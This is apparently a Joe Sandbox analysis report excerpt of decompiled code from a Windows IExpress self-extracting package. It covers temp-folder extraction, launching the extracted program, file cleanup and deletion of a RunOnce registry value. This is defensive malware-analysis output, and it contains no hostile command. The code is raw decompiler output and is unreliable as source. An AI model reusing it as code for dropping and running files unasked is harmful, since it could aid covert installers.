0x00f86bbf
0x00f86c1e
0x00f86c25
0x00f86c27
0x00f86c2d
0x00f86c2d
0x00f86c32
0x00000000
0x00f86bc5
0x00f86bc5
0x00f86bc8
0x00f86bcc
0x00f86bce
0x00f86bce
0x00f86bd1
0x00f86bd3
0x00f86bd3
0x00f86bd6
0x00f86bda
0x00f86be1
0x00f86be3
0x00f86be5
0x00f86be5
0x00f86be6
0x00f86be6
0x00f86be9
0x00f86bea
0x00f86bea
0x00f86b74
0x00f86c39
0x00f86c3e
0x00f86c3e
0x00f86abe
0x00f86abe
0x00000000

APIs

Part of subcall function 00F87155: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00F87182
Part of subcall function 00F87155: GetCurrentProcessId.KERNEL32 ref: 00F87191
Part of subcall function 00F87155: GetCurrentThreadId.KERNEL32 ref: 00F8719A
Part of subcall function 00F87155: GetTickCount.KERNEL32 ref: 00F871A3
Part of subcall function 00F87155: QueryPerformanceCounter.KERNEL32(?), ref: 00F871B8

GetStartupInfoW.KERNEL32(?,00F872B8,00000058), ref: 00F86A7F
Sleep.KERNEL32(000003E8), ref: 00F86AB4
_amsg_exit.MSVCRT ref: 00F86AC9
_initterm.MSVCRT ref: 00F86B1D
__IsNonwritableInCurrentImage.LIBCMT ref: 00F86B49
exit.KERNELBASE ref: 00F86BBF
_ismbblead.MSVCRT ref: 00F86BDA

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Current$Time$CountCounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 836923961-0
Opcode ID: c1a994f87e7c1a1427cc4e48b9cf580d1dec9f56957ef8da1574bbf1186292f1
Instruction ID: 46546831d4c8cef33a28ba882718b2b2008e84eaeb7e2adfc231b729367f3129
Opcode Fuzzy Hash: c1a994f87e7c1a1427cc4e48b9cf580d1dec9f56957ef8da1574bbf1186292f1
Instruction Fuzzy Hash: 6141C0319447288BEB21BB649C497FA77A4FB84775F64012AE841E7290CF788842BB81

Uniqueness

Uniqueness Score: -1.00%

Function 00F858C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E00F858C8(intOrPtr* __ecx) {
				void* _v8;
				intOrPtr _t6;
				void* _t10;
				void* _t12;
				void* _t14;
				signed char _t16;
				void* _t20;
				void* _t23;
				intOrPtr* _t27;
				CHAR* _t33;

				_push(__ecx);
				_t33 = __ecx;
				_t27 = __ecx;
				_t23 = __ecx + 1;
				do {
					_t6 =  *_t27;
					_t27 = _t27 + 1;
				} while (_t6 != 0);
				_t36 = _t27 - _t23 + 0x14;
				_t20 = LocalAlloc(0x40, _t27 - _t23 + 0x14);
				if(_t20 != 0) {
					E00F81680(_t20, _t36, _t33);
					E00F8658A(_t20, _t36, "TMP4351$.TMP");
					_t10 = CreateFileA(_t20, 0x40000000, 0, 0, 1, 0x4000080, 0); // executed
					_v8 = _t10;
					LocalFree(_t20);
					_t12 = _v8;
					if(_t12 == 0xffffffff) {
						goto L4;
					} else {
						CloseHandle(_t12);
						_t16 = GetFileAttributesA(_t33); // executed
						if(_t16 == 0xffffffff || (_t16 & 0x00000010) == 0) {
							goto L4;
						} else {
							 *0xf89124 = 0;
							_t14 = 1;
						}
					}
				} else {
					E00F844B9(0, 0x4b5, 0, 0, 0x10, 0);
					L4:
					 *0xf89124 = E00F86285();
					_t14 = 0;
				}
				return _t14;
			}

0x00f858cd
0x00f858d1
0x00f858d3
0x00f858d5
0x00f858d8
0x00f858d8
0x00f858da
0x00f858db
0x00f858e1
0x00f858ed
0x00f858f1
0x00f8591e
0x00f8592c
0x00f85943
0x00f8594a
0x00f8594d
0x00f85953
0x00f85959
0x00000000
0x00f8595b
0x00f8595c
0x00f85963
0x00f8596c
0x00000000
0x00f85972
0x00f85974
0x00f8597a
0x00f8597a
0x00f8596c
0x00f858f3
0x00f85901
0x00f85906
0x00f8590b
0x00f85910
0x00f85910
0x00f85918

APIs

LocalAlloc.KERNEL32(00000040,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00F85534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F858E7
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00F85534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F85943
LocalFree.KERNEL32(00000000,?,00F85534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F8594D
CloseHandle.KERNEL32(00000000,?,00F85534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F8595C
GetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00F85534,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F85963

Strings

TMP4351$.TMP, xrefs: 00F85923
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F858CD, 00F858CF, 00F85919, 00F85962

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$TMP4351$.TMP
API String ID: 747627703-2825630923
Opcode ID: 890e09afecfe78b68075f32006557d0b0a2e9def032f2f2e1a2faf55e33f3324
Instruction ID: 51b37ddd8d63077803ca8cf1a18652c6ccbfc02d8de643a8a774e3ff36a2d210
Opcode Fuzzy Hash: 890e09afecfe78b68075f32006557d0b0a2e9def032f2f2e1a2faf55e33f3324
Instruction Fuzzy Hash: 1E113831B0061467DB207FB95C4DBEB7E9DEF45770B100616F505D31D1DA74D806A7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00F83FEF Relevance: 10.6, APIs: 7, Instructions: 97
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E00F83FEF(CHAR* __ecx, struct _STARTUPINFOA* __edx) {
				signed int _v8;
				char _v524;
				long _v528;
				struct _PROCESS_INFORMATION _v544;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t20;
				void* _t22;
				int _t25;
				intOrPtr* _t39;
				signed int _t44;
				void* _t49;
				signed int _t50;
				intOrPtr _t53;

				_t45 = __edx;
				_t20 =  *0xf88004; // 0x644c7055
				_v8 = _t20 ^ _t50;
				_t39 = __ecx;
				_t49 = 1;
				_t22 = 0;
				if(__ecx == 0) {
					L13:
					return E00F86CE0(_t22, _t39, _v8 ^ _t50, _t45, 0, _t49);
				}
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t25 = CreateProcessA(0, __ecx, 0, 0, 0, 0x20, 0, 0, __edx,  &_v544); // executed
				if(_t25 == 0) {
					 *0xf89124 = E00F86285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v524, 0x200, 0);
					_t45 = 0x4c4;
					E00F844B9(0, 0x4c4, _t39,  &_v524, 0x10, 0);
					L11:
					_t49 = 0;
					L12:
					_t22 = _t49;
					goto L13;
				}
				WaitForSingleObject(_v544.hProcess, 0xffffffff);
				_t34 = GetExitCodeProcess(_v544.hProcess,  &_v528); // executed
				_t44 = _v528;
				_t53 =  *0xf88a28; // 0x0
				if(_t53 == 0) {
					_t34 =  *0xf89a2c; // 0x0
					if((_t34 & 0x00000001) != 0 && (_t34 & 0x00000002) == 0) {
						_t34 = _t44 & 0xff000000;
						if((_t44 & 0xff000000) == 0xaa000000) {
							 *0xf89a2c = _t44;
						}
					}
				}
				E00F8411B(_t34, _t44);
				CloseHandle(_v544.hThread);
				CloseHandle(_v544);
				if(( *0xf89a34 & 0x00000400) == 0 || _v528 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x00f83fef
0x00f83ffa
0x00f84001
0x00f84008
0x00f8400a
0x00f8400b
0x00f84010
0x00f8410a
0x00f8411a
0x00f8411a
0x00f8401c
0x00f8401d
0x00f8401e
0x00f8401f
0x00f84033
0x00f8403b
0x00f840ca
0x00f840e9
0x00f840f8
0x00f84101
0x00f84106
0x00f84106
0x00f84108
0x00f84108
0x00000000
0x00f84108
0x00f84049
0x00f8405c
0x00f84062
0x00f84068
0x00f8406e
0x00f84070
0x00f84077
0x00f8407f
0x00f84089
0x00f8408b
0x00f8408b
0x00f84089
0x00f84077
0x00f84091
0x00f8409c
0x00f840a8
0x00f840b8
0x00000000
0x00f840c2
0x00000000
0x00f840c2

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?,?,?,00000000), ref: 00F84033
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00F84049
GetExitCodeProcess.KERNELBASE ref: 00F8405C
CloseHandle.KERNEL32(?), ref: 00F8409C
CloseHandle.KERNEL32(?), ref: 00F840A8
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 00F840DC
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 00F840E9

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: cdcebd515a4a9028288cdbcd648a4c7148802f9973102e15d75e420f1072a7e1
Instruction ID: 199093de1051b3df53d0adc137158c5def39e71106483e3b0d0d6270f1add08a
Opcode Fuzzy Hash: cdcebd515a4a9028288cdbcd648a4c7148802f9973102e15d75e420f1072a7e1
Instruction Fuzzy Hash: A831AE31A4061CABEB21AB65DC4DFFB777CEB94711F1001AAFA05E21A1CA345D85EF21

Uniqueness

Uniqueness Score: -1.00%

Function 00F851E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00F851E5(void* __eflags) {
				int _t5;
				void* _t6;
				void* _t28;

				_t1 = E00F8468F("UPROMPT", 0, 0) + 1; // 0x1
				_t28 = LocalAlloc(0x40, _t1);
				if(_t28 != 0) {
					if(E00F8468F("UPROMPT", _t28, _t29) != 0) {
						_t5 = lstrcmpA(_t28, "<None>"); // executed
						if(_t5 != 0) {
							_t6 = E00F844B9(0, 0x3e9, _t28, 0, 0x20, 4);
							LocalFree(_t28);
							if(_t6 != 6) {
								 *0xf89124 = 0x800704c7;
								L10:
								return 0;
							}
							 *0xf89124 = 0;
							L6:
							return 1;
						}
						LocalFree(_t28);
						goto L6;
					}
					E00F844B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree(_t28);
					 *0xf89124 = 0x80070714;
					goto L10;
				}
				E00F844B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0xf89124 = E00F86285();
				goto L10;
			}

0x00f851fb
0x00f85207
0x00f8520b
0x00f8523c
0x00f85268
0x00f85270
0x00f8528b
0x00f85293
0x00f8529c
0x00f852a6
0x00f852b0
0x00000000
0x00f852b0
0x00f8529e
0x00f85279
0x00000000
0x00f8527b
0x00f85273
0x00000000
0x00f85273
0x00f8524a
0x00f85250
0x00f85256
0x00000000
0x00f85256
0x00f85219
0x00f85223
0x00000000

APIs

Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846A0
Part of subcall function 00F8468F: SizeofResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846A9
Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846C3
Part of subcall function 00F8468F: LoadResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846CC
Part of subcall function 00F8468F: LockResource.KERNEL32(00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846D3
Part of subcall function 00F8468F: memcpy_s.MSVCRT ref: 00F846E5
Part of subcall function 00F8468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00F82F4D,?,00000002,00000000), ref: 00F85201
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00F85250

Part of subcall function 00F844B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F84518
Part of subcall function 00F844B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 00F84554

Part of subcall function 00F86285: GetLastError.KERNEL32(00F85BBC), ref: 00F86285

Strings

<None>, xrefs: 00F85262
UPROMPT, xrefs: 00F851EF, 00F85230

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: 92c475a7174f68f1b73238ce3965e552744e114811dd947469d68241c9a0b298
Instruction ID: 80fe45499ac5be4e62e27504f42fdaa6b792f037b3edd6d83b8da152c9a7424e
Opcode Fuzzy Hash: 92c475a7174f68f1b73238ce3965e552744e114811dd947469d68241c9a0b298
Instruction Fuzzy Hash: 9B110872704605ABE714BBB15C8AFFB719DEB89B50B104429FA02D5190EEBC9C017325

Uniqueness

Uniqueness Score: -1.00%

Function 00F852B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65
fileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00F852B6(void* __ebx, char* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				char _v268;
				signed int _t9;
				signed int _t11;
				void* _t21;
				void* _t29;
				CHAR** _t31;
				void* _t32;
				signed int _t33;

				_t28 = __edi;
				_t22 = __ecx;
				_t21 = __ebx;
				_t9 =  *0xf88004; // 0x644c7055
				_v8 = _t9 ^ _t33;
				_push(__esi);
				_t31 =  *0xf891e0; // 0x798408
				if(_t31 != 0) {
					_push(__edi);
					do {
						_t29 = _t31;
						if( *0xf88a24 == 0 &&  *0xf89a30 == 0) {
							SetFileAttributesA( *_t31, 0x80); // executed
							DeleteFileA( *_t31); // executed
						}
						_t31 = _t31[1];
						LocalFree( *_t29);
						LocalFree(_t29);
					} while (_t31 != 0);
					_pop(_t28);
				}
				_t11 =  *0xf88a20; // 0x0
				_pop(_t32);
				if(_t11 != 0 &&  *0xf88a24 == 0 &&  *0xf89a30 == 0) {
					_push(_t22);
					E00F81781( &_v268, 0x104, _t22, "C:\Users\hardz\AppData\Local\Temp\IXP001.TMP\");
					if(( *0xf89a34 & 0x00000020) != 0) {
						E00F865E8( &_v268);
					}
					SetCurrentDirectoryA(".."); // executed
					_t22 =  &_v268;
					E00F82390( &_v268);
					_t11 =  *0xf88a20; // 0x0
				}
				if( *0xf89a40 != 1 && _t11 != 0) {
					_t11 = E00F81FE1(_t22); // executed
				}
				 *0xf88a20 =  *0xf88a20 & 0x00000000;
				return E00F86CE0(_t11, _t21, _v8 ^ _t33, 0x104, _t28, _t32);
			}

0x00f852b6
0x00f852b6
0x00f852b6
0x00f852c1
0x00f852c8
0x00f852cb
0x00f852cc
0x00f852d4
0x00f852d6
0x00f852d7
0x00f852de
0x00f852e0
0x00f852f2
0x00f852fa
0x00f852fa
0x00f85302
0x00f85305
0x00f8530c
0x00f85312
0x00f85316
0x00f85316
0x00f85317
0x00f8531c
0x00f8531f
0x00f85333
0x00f85345
0x00f85351
0x00f85359
0x00f85359
0x00f85363
0x00f85369
0x00f8536f
0x00f85374
0x00f85374
0x00f85381
0x00f85387
0x00f85387
0x00f8538f
0x00f853a0

APIs

SetFileAttributesA.KERNELBASE(00798408,00000080,?,00000000), ref: 00F852F2
DeleteFileA.KERNELBASE(00798408), ref: 00F852FA
LocalFree.KERNEL32(00798408,?,00000000), ref: 00F85305
LocalFree.KERNEL32(00798408), ref: 00F8530C
SetCurrentDirectoryA.KERNELBASE(00F811FC,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 00F85363

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F85334

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 2833751637-1116576409
Opcode ID: ed04843a71145ed09d10b8c624170e7a0aa507e00999466ea6cdb6ac464d375d
Instruction ID: 5cf1658226ae399e93f2bd067b06c2e7b0e05c178f42a7f61b76b7869c505087
Opcode Fuzzy Hash: ed04843a71145ed09d10b8c624170e7a0aa507e00999466ea6cdb6ac464d375d
Instruction Fuzzy Hash: DC21A13191460CDBDB24BB20DD49BF977A5FB00BA0F48015AE442561A0CFF99C85FB41

Uniqueness

Uniqueness Score: -1.00%

Function 00F81FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F81FE1(void* __ecx) {
				void* _v8;
				long _t4;

				if( *0xf88530 != 0) {
					_t4 = RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x20006,  &_v8); // executed
					if(_t4 == 0) {
						RegDeleteValueA(_v8, "wextract_cleanup1"); // executed
						return RegCloseKey(_v8);
					}
				}
				return _t4;
			}

0x00f81fee
0x00f82005
0x00f8200d
0x00f82017
0x00000000
0x00f82020
0x00f8200d
0x00f82029

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,00F8538C,?,?,00F8538C), ref: 00F82005
RegDeleteValueA.KERNELBASE(00F8538C,wextract_cleanup1,?,?,00F8538C), ref: 00F82017
RegCloseKey.ADVAPI32(00F8538C,?,?,00F8538C), ref: 00F82020

Strings

wextract_cleanup1, xrefs: 00F81FE7, 00F8200F
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00F81FFB

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup1
API String ID: 849931509-1592051331
Opcode ID: 0984bc286fffa5744f7921f407c6bfc5cd6719f4b6e973a4e2dada2489fb5746
Instruction ID: f247c37aea4066049c6a219f724ffa978d5a80acc01609ef5bb0f439f9151939
Opcode Fuzzy Hash: 0984bc286fffa5744f7921f407c6bfc5cd6719f4b6e973a4e2dada2489fb5746
Instruction Fuzzy Hash: 83E04F3095031CBBEB22ABD0EC0AFE97B69E701791F640195B904A4060EB61AA14F706

Uniqueness

Uniqueness Score: -1.00%

Function 00F84CD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00F84CD0(char* __edx, long _a4, int _a8) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				int _t30;
				long _t32;
				signed int _t33;
				long _t35;
				long _t36;
				struct HWND__* _t37;
				long _t38;
				long _t39;
				long _t41;
				long _t44;
				long _t45;
				long _t46;
				signed int _t50;
				long _t51;
				char* _t58;
				long _t59;
				char* _t63;
				long _t64;
				CHAR* _t71;
				CHAR* _t74;
				int _t75;
				signed int _t76;

				_t69 = __edx;
				_t29 =  *0xf88004; // 0x644c7055
				_t30 = _t29 ^ _t76;
				_v8 = _t30;
				_t75 = _a8;
				if( *0xf891d8 == 0) {
					_t32 = _a4;
					__eflags = _t32;
					if(_t32 == 0) {
						_t33 = E00F84E99(_t75);
						L35:
						return E00F86CE0(_t33, _t54, _v8 ^ _t76, _t69, _t73, _t75);
					}
					_t35 = _t32 - 1;
					__eflags = _t35;
					if(_t35 == 0) {
						L9:
						_t33 = 0;
						goto L35;
					}
					_t36 = _t35 - 1;
					__eflags = _t36;
					if(_t36 == 0) {
						_t37 =  *0xf88584; // 0x0
						__eflags = _t37;
						if(_t37 != 0) {
							SetDlgItemTextA(_t37, 0x837,  *(_t75 + 4));
						}
						_t54 = 0xf891e4;
						_t58 = 0xf891e4;
						do {
							_t38 =  *_t58;
							_t58 =  &(_t58[1]);
							__eflags = _t38;
						} while (_t38 != 0);
						_t59 = _t58 - 0xf891e5;
						__eflags = _t59;
						_t71 =  *(_t75 + 4);
						_t73 =  &(_t71[1]);
						do {
							_t39 =  *_t71;
							_t71 =  &(_t71[1]);
							__eflags = _t39;
						} while (_t39 != 0);
						_t69 = _t71 - _t73;
						_t30 = _t59 + 1 + _t71 - _t73;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							L3:
							_t33 = _t30 | 0xffffffff;
							goto L35;
						}
						_t69 = 0xf891e4;
						_t30 = E00F84702( &_v268, 0xf891e4,  *(_t75 + 4));
						__eflags = _t30;
						if(__eflags == 0) {
							goto L3;
						}
						_t41 = E00F8476D( &_v268, __eflags);
						__eflags = _t41;
						if(_t41 == 0) {
							goto L9;
						}
						_push(0x180);
						_t30 = E00F84980( &_v268, 0x8302); // executed
						_t75 = _t30;
						__eflags = _t75 - 0xffffffff;
						if(_t75 == 0xffffffff) {
							goto L3;
						}
						_t30 = E00F847E0( &_v268);
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						 *0xf893f4 =  *0xf893f4 + 1;
						_t33 = _t75;
						goto L35;
					}
					_t44 = _t36 - 1;
					__eflags = _t44;
					if(_t44 == 0) {
						_t54 = 0xf891e4;
						_t63 = 0xf891e4;
						do {
							_t45 =  *_t63;
							_t63 =  &(_t63[1]);
							__eflags = _t45;
						} while (_t45 != 0);
						_t74 =  *(_t75 + 4);
						_t64 = _t63 - 0xf891e5;
						__eflags = _t64;
						_t69 =  &(_t74[1]);
						do {
							_t46 =  *_t74;
							_t74 =  &(_t74[1]);
							__eflags = _t46;
						} while (_t46 != 0);
						_t73 = _t74 - _t69;
						_t30 = _t64 + 1 + _t74 - _t69;
						__eflags = _t30 - 0x104;
						if(_t30 >= 0x104) {
							goto L3;
						}
						_t69 = 0xf891e4;
						_t30 = E00F84702( &_v268, 0xf891e4,  *(_t75 + 4));
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						_t69 =  *((intOrPtr*)(_t75 + 0x18));
						_t30 = E00F84C37( *((intOrPtr*)(_t75 + 0x14)),  *((intOrPtr*)(_t75 + 0x18)),  *(_t75 + 0x1a) & 0x0000ffff); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						}
						E00F84B60( *((intOrPtr*)(_t75 + 0x14))); // executed
						_t50 =  *(_t75 + 0x1c) & 0x0000ffff;
						__eflags = _t50;
						if(_t50 != 0) {
							_t51 = _t50 & 0x00000027;
							__eflags = _t51;
						} else {
							_t51 = 0x80;
						}
						_t30 = SetFileAttributesA( &_v268, _t51); // executed
						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						} else {
							_t33 = 1;
							goto L35;
						}
					}
					_t30 = _t44 - 1;
					__eflags = _t30;
					if(_t30 == 0) {
						goto L3;
					}
					goto L9;
				}
				if(_a4 == 3) {
					_t30 = E00F84B60( *((intOrPtr*)(_t75 + 0x14)));
				}
				goto L3;
			}

0x00f84cd0
0x00f84cdb
0x00f84ce0
0x00f84ce2
0x00f84cee
0x00f84cf2
0x00f84d0e
0x00f84d0e
0x00f84d11
0x00f84e83
0x00f84e88
0x00f84e98
0x00f84e98
0x00f84d17
0x00f84d17
0x00f84d1a
0x00f84d2f
0x00f84d2f
0x00000000
0x00f84d2f
0x00f84d1c
0x00f84d1c
0x00f84d1f
0x00f84dcb
0x00f84dd0
0x00f84dd2
0x00f84ddd
0x00f84ddd
0x00f84de3
0x00f84de8
0x00f84ded
0x00f84ded
0x00f84def
0x00f84df0
0x00f84df0
0x00f84df4
0x00f84df4
0x00f84df6
0x00f84df9
0x00f84dfc
0x00f84dfc
0x00f84dfe
0x00f84dff
0x00f84dff
0x00f84e03
0x00f84e08
0x00f84e0a
0x00f84e0f
0x00f84d03
0x00f84d03
0x00000000
0x00f84d03
0x00f84e18
0x00f84e20
0x00f84e25
0x00f84e27
0x00000000
0x00000000
0x00f84e33
0x00f84e38
0x00f84e3a
0x00000000
0x00000000
0x00f84e40
0x00f84e51
0x00f84e56
0x00f84e5b
0x00f84e5e
0x00000000
0x00000000
0x00f84e6a
0x00f84e6f
0x00f84e71
0x00000000
0x00000000
0x00f84e77
0x00f84e7d
0x00000000
0x00f84e7d
0x00f84d25
0x00f84d25
0x00f84d28
0x00f84d36
0x00f84d3b
0x00f84d40
0x00f84d40
0x00f84d42
0x00f84d43
0x00f84d43
0x00f84d47
0x00f84d4a
0x00f84d4a
0x00f84d4c
0x00f84d4f
0x00f84d4f
0x00f84d51
0x00f84d52
0x00f84d52
0x00f84d56
0x00f84d5b
0x00f84d5d
0x00f84d62
0x00000000
0x00000000
0x00f84d67
0x00f84d6f
0x00f84d74
0x00f84d76
0x00000000
0x00000000
0x00f84d7c
0x00f84d84
0x00f84d89
0x00f84d8b
0x00000000
0x00000000
0x00f84d94
0x00f84d99
0x00f84d9e
0x00f84da1
0x00f84daa
0x00f84daa
0x00f84da3
0x00f84da3
0x00f84da3
0x00f84db5
0x00f84dbb
0x00f84dbd
0x00000000
0x00f84dc3
0x00f84dc5
0x00000000
0x00f84dc5
0x00f84dbd
0x00f84d2a
0x00f84d2a
0x00f84d2d
0x00000000
0x00000000
0x00000000
0x00f84d2d
0x00f84cf8
0x00f84cfd
0x00f84d02
0x00000000

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 00F84DB5
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 00F84DDD

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F84D36, 00F84DE3

Memory Dump Source

